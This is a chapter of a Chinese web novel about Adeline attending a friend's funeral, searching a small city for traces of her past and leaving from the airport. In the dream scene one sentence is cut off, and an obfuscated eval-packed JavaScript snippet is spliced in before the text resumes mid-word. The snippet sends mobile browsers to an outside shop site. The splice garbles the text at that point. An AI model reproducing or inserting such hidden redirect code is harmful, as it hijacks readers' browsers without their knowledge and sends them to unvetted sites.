H城很小,小到从外地赶来参加谢渺葬礼的人,能在同一家酒店里认出艾德琳,“你是照片上的那个人?”
贺兰想拦着,但艾德琳还是接过了递来的手机,看着谢渺的朋友圈。
谢渺的同学在看到艾德琳之后,才真实的意识到,谢渺是真的不在了。
在他们这个年纪,死亡过于陌生。一个人的彻底消失,就好像只是这个人以后再也不会在朋友圈里更新动态。
他说,“我以为他忙得没空和我们一起打游戏,我甚至记不清我最后和他说的那句话是什么。不过,我也没想到,你会专门来这里,如果谢渺知道,他应该——”
贺兰还是没让对方把话说完,他太清楚承担一种无法言说的自责是怎么样的一种折磨,“同学,她有些累了,具体的有机会明天再说吧。”
“谢谢你来送他!”进电梯前,那位同学对艾德琳说。
电梯关上的时候,艾德琳问瞿麦,“他的父母知道吗?”
瞿麦回答,“只有他的父母知道,对外仍然需要保密。”
艾德琳又问,“那关于我,他们知道吗?”
瞿麦点点头,“这些事情,不是你的错。”
“也许吧,但似乎,我说了不算。”电梯打开,艾德琳独自回了房间。
***
命运对人的捉弄,有多可怕呢?
午夜,艾德琳独自走在H城的街道上。
她没有迷路,甚至很顺利地找到了H城高中。
门卫保安室里的灯亮着,一个保安大爷看着站在门口的女孩,披着大衣走了出来,“同学,你怎么大半夜地站在这里?和家里吵架跑出来了?哪个班的?要不要我联系你的班主任?”
“陈XX老师在吗?”女孩低着头,轻声问着。
“陈XX,学校里没有这个老师啊?”保安在这里工作了快二十年,的确没听过这一位老师,“是新来的吗?你是哪个班的?”
“艾XX老师呢?”女孩又问。
保安大爷走近了,“也没有,你是不是记错学校了?要我联系你的家长吗?其他学校的老师我也可以帮你联系。”
女孩往后退了一步,“我不是这里的学生,谢谢你。我回——我走了。”
保安打着手电筒,照着离开的女孩的背影,“同学,早点回去啊,你爸妈要着急的。”
女孩回过身来朝他挥了挥手,“谢谢!”
寒冷的小城冬夜里,瞿麦远远地跟在女孩后面,两人心照不宣地维持着不被打扰的假象。
艾德琳越走越偏,瞿麦的忧虑也越来越重,他看得出来,艾德琳似乎认识这个地方,甚至非常熟悉这个地方,这不应该。
记录上,现在解密的艾德琳·陈的记录中——她应该是出生在东南亚T国的华裔,从未踏足过华国。
除非——也罢,从事这项工作后,那些所谓的纸面上的资料,还有什么是真的呢?
***
艾德琳终于在公园里的一个小亭子停了下来,她对暗处的瞿麦说,“你带手电筒了吗?”
瞿麦也不再掩藏,走过来把手电筒递给她,“你来过这里?”
艾德琳照着柱子上刻着的字,看着那些大部分都是青少年们写下的关于爱情的宣言。她看得仔细,似乎要把每一个划痕都研究透。似乎,要分辨出那些情人间的承诺,哪些是真哪些是假。
“很小的时候,也可能是我记错了。”艾德琳扯着慌,“我记得我爸爸曾经提过一个类似于这样的城市,我记不清了,他说过在一个亭子上,他刻着对我妈妈的告白。我记不清了,也许吧——我只是觉得,可能吧——”
瞿麦从她打着颤的手上接过手电筒,帮她照着,方便她仔细研究这些痕迹,“有可能市政维护过,刷过漆。”
然后他看着一条写在19**年的留言,“永远在一起。”
这世上,只有永远的无常。
手电筒熄灭了,艾德琳叹了口气,“回酒店吧,贺兰找不到我们不太好。”
“他太久没有参加过外勤了,我会把他重新训练的事情提上议程的。”瞿麦想着此刻在酒店里睡着正香的贺兰,他一直有一个疑问,“能告诉我,你一开始坚持要保住贺兰,除了他的技术外,是不是因为他这些年一直在资助那个女孩的原因?”
“有这部分的原因,但是更多的就是一种直觉。”艾德琳第一次见贺兰的时候,除了感叹他那张漂亮的带着邪气的脸以外,就困惑于他不符合常理的“贫穷”,“而且,他太单纯了。单纯到,好像不会伤害任何人。”
“那为什么相信我呢?贺兰和你的确有几分相似,但我和你不是一路人。”瞿麦问。
艾德琳停下来,转过身来看着走在自己后面的瞿麦,“你现在才问这样的问题,我要真不是好人,你岂不是要遭遇重大打击。”
瞿麦,“别花言巧语——”
艾德琳皱着眉头,“你怎么和你姐一样?”
瞿麦轻轻地推了一把她的肩膀,示意她接着走,“都是一个家里教出来的,一样很正常。算了,你说得对,都是马后炮了。说说看,你在芝加哥到底犯了什么事情,怎么以你的本事还能进去?”
虽然觉得瞿麦有审犯人的嫌疑在,但艾德琳却出乎意料地对他完整地说出了事情的始末,从感恩节被绑架到自己为什么选择蹲监狱。
可能是故事太长,也可能是艾德琳说得太唠叨了,等终于说完了,瞿麦已经坐在艾德琳房间的会客沙发上,“所以,你真的是能折腾,是吧?”
艾德琳喝着水,润了润喉咙,“现在想起来,也许有很多的机会我可以让事情简单一些,但是,我有太多的顾虑。而当我有顾虑的时候,会有很多没必要的动作,而那些动作,带来的结果可能是不可控的。就像,就像谢渺——”
瞿麦又一次同她强调,“这不是你的责任。”
“可是愧疚不会因为责任不属于我,就从我的心里消失。”艾德琳看着他。
瞿麦第一次这样的慌张,他不太敢去看着那双装满了哀戚的眼睛。
也许这样问他会后悔,但是他还是问了出来,“你希望在这里,找到你父母生活的痕迹,或者还有没有亲人,是吗?”
艾德琳低下了头,看着手里的水杯,她没有回答。
瞿麦接着说,“你觉得,因为你在谢渺这件事情上的‘罪责’所以老天爷让你找不到他们,对吗?”
艾德琳就静静地坐在地上,似乎连眨眼都不再需要。
天快亮的时候,她问瞿麦,“突然失去很重要的人,对活着的人来说,是什么样的?”
这些年来,她从不敢去想,在那个世界里自己消失后,会是什么样的。
很不幸,瞿麦知道这个答案,“要有足够的时间,如果幸运的话,找一个更重要的事情。就像一滴墨水在水杯里很明显,在大海里几乎看不见。”
听到了这个答案,艾德琳对瞿麦说,“但你知道,无论比例缩成多小,这件事情都是存在的。”
瞿麦也坐在了地上,把她揽着,“小姑娘,你的人生已经复杂得可怕了。复杂的人生,需要简单的头脑。”
“那你会忘了她吗?”艾德琳问。
“我从不问我自己这个问题,我爱她的时候,同她在一起的时候,我的整个世界也并未只有爱情,并非只有她。她走了以后,她带走的那个世界里,就只有她。”瞿麦轻轻拍着她的背,“那个时候我也不敢睡觉,清醒的时候,我的理智控制着一切。但是梦里——最可怕的就是梦会醒来,在醒来的时候,我需要做一个选择。”
“选择什么?”艾德琳把头埋在他的肩膀上。
“选择继续做注定要醒来的梦,还是选择继续让理智控制我。”
***
艾德琳睡着了,她也做了一个梦。
梦里布莱恩是个骗子,故意捉弄她,她还是回到了她最初的世界,回到了她消失的那天。
她依旧站在夜色里,身无分文,但她知道要往哪里走。
她走得很快,不协调的四肢因为跟不上,甚至摔倒了几次。
然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565977|142331||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
后她开始奔跑,不顾一切地奔跑。
终于,她站在家门口,听着里面小狗的叫声,按响了门铃。
她闭上眼睛,她不敢看。
开门声响了——
她睁开眼睛——是贺兰。
***
贺兰给艾德琳发了信息,没人回。给瞿麦发了信息,也没人回。
他拿了备用门卡,打开了艾德琳的房门,就看到——
“你们俩睡在地上干吗?”
艾德琳知道了,这只是个注定要醒的梦,但她宁愿不去做这样的一个梦。
看着醒来后坐起身,就开始无声掉起眼泪的艾德琳,贺兰急了,问一边的瞿麦,“你做了什么孽?”
瞿麦倒是能猜到些原因,朝贺兰摇了摇头,一下一下地拍着她的背。
***
艾德琳肿着一双眼睛出现在谢渺的葬礼上,因为谢渺最后的那张照片,不少人都认出了她。
谢渺的一位姨妈拉着她,“如果谢渺知道,谢谢你能过来。”
艾德琳无措地看着一边谢渺的父亲,她在那位父亲的眼睛里,看到了她最不能接受的哀戚。
原来,失去孩子的父母,他们的眼睛是这样的。
谢渺的父亲找到了坐在一张凳子上发呆的艾德琳,“那天中午,我给谢渺打过电话,我问他要一张班纳博士的签名照片。我是个高中物理老师,他知道,我很崇拜班纳博士。所以,在知道他出事后,我也想过,如果,我不让他去要签名照片,会不会——孩子,如果你有自责,把你的那份自责给我吧,没什么比一个没办法保护好儿子的父亲,更值得折磨在愧疚里。”
“谢老师,我——”
“麦清队长很详细地和我说了事情的经过,我知道,如果不是你的坚持,这件事情还不知道什么时候才有个答案。我现在,虽然活在十八层地狱里,但好歹见底了,好歹不用一天天地往下坠,永远不知道,什么时候是个头。”
***
艾德琳终究是迅速地离开了,她无法去面对谢渺的父母,无法去面对这座她熟悉却不再有任何属于她存在痕迹的城市。
原来,平行的世界里,真正残酷的在于,证明自己曾经存在过的一切,都不存在。
原来,她到底变成了,一个他乡之客。
***
机场里,贺兰把彩虹糖塞在艾德琳的口袋里,“说好了可以待七天,这么着急回去?”
“快圣诞节了,而且,我不想耽误你们,你们也难得休息。”艾德琳拍了拍口袋。
贺兰看着几步外的瞿麦和麦清,凑到艾德琳的耳边,“你别担心,如果你以后想回来,我去找他们,让他们去帮你搞定签证的事情,这也是他们欠你的人情。”
艾德琳趁机一把搂住他的脖子,在他漂亮的脸蛋上亲了一口,成功地看到他整张脸变得通红,“别太抠门了,好好过自己的生活。穷了你就去舒家敲竹杠,他们欠我的可多了。”
贺兰捂着脸,支支吾吾地说,“我们这里可不讲究吻别这种社交礼仪,别乱学洋鬼子那套,懂吗?”
艾德琳又掐了他的脸,把便宜占了个彻底。
麦清走过来,拉过她的手,“淘气啊你,没大没小的。”
艾德琳看起来很服管,笑呵呵地说,“知道了,我错了。”
然后趁麦清不注意,又亲了她一口。
贺兰笑了,“你就是站着说话不腰疼。”
然后贺兰和麦清都看向了瞿麦,又看向了无动于衷的艾德琳,他们似乎在等着什么?
艾德琳摊手,“事不过三,明白吗?”
她走过去,轻轻地抱了一下瞿麦,“谢谢你。”
瞿麦还是那样的古板,像勉励同事一样拍了拍她的肩膀,“别再惹麻烦了,也别再掺和这种事情。要是我以后再在工作场合看到你,我做的第一件事情,就是先把你这个最危险的抓起来。”
抓起来,然后呢?
艾德琳挥了挥手,“你们知道在哪里找我的,芝加哥,南区。”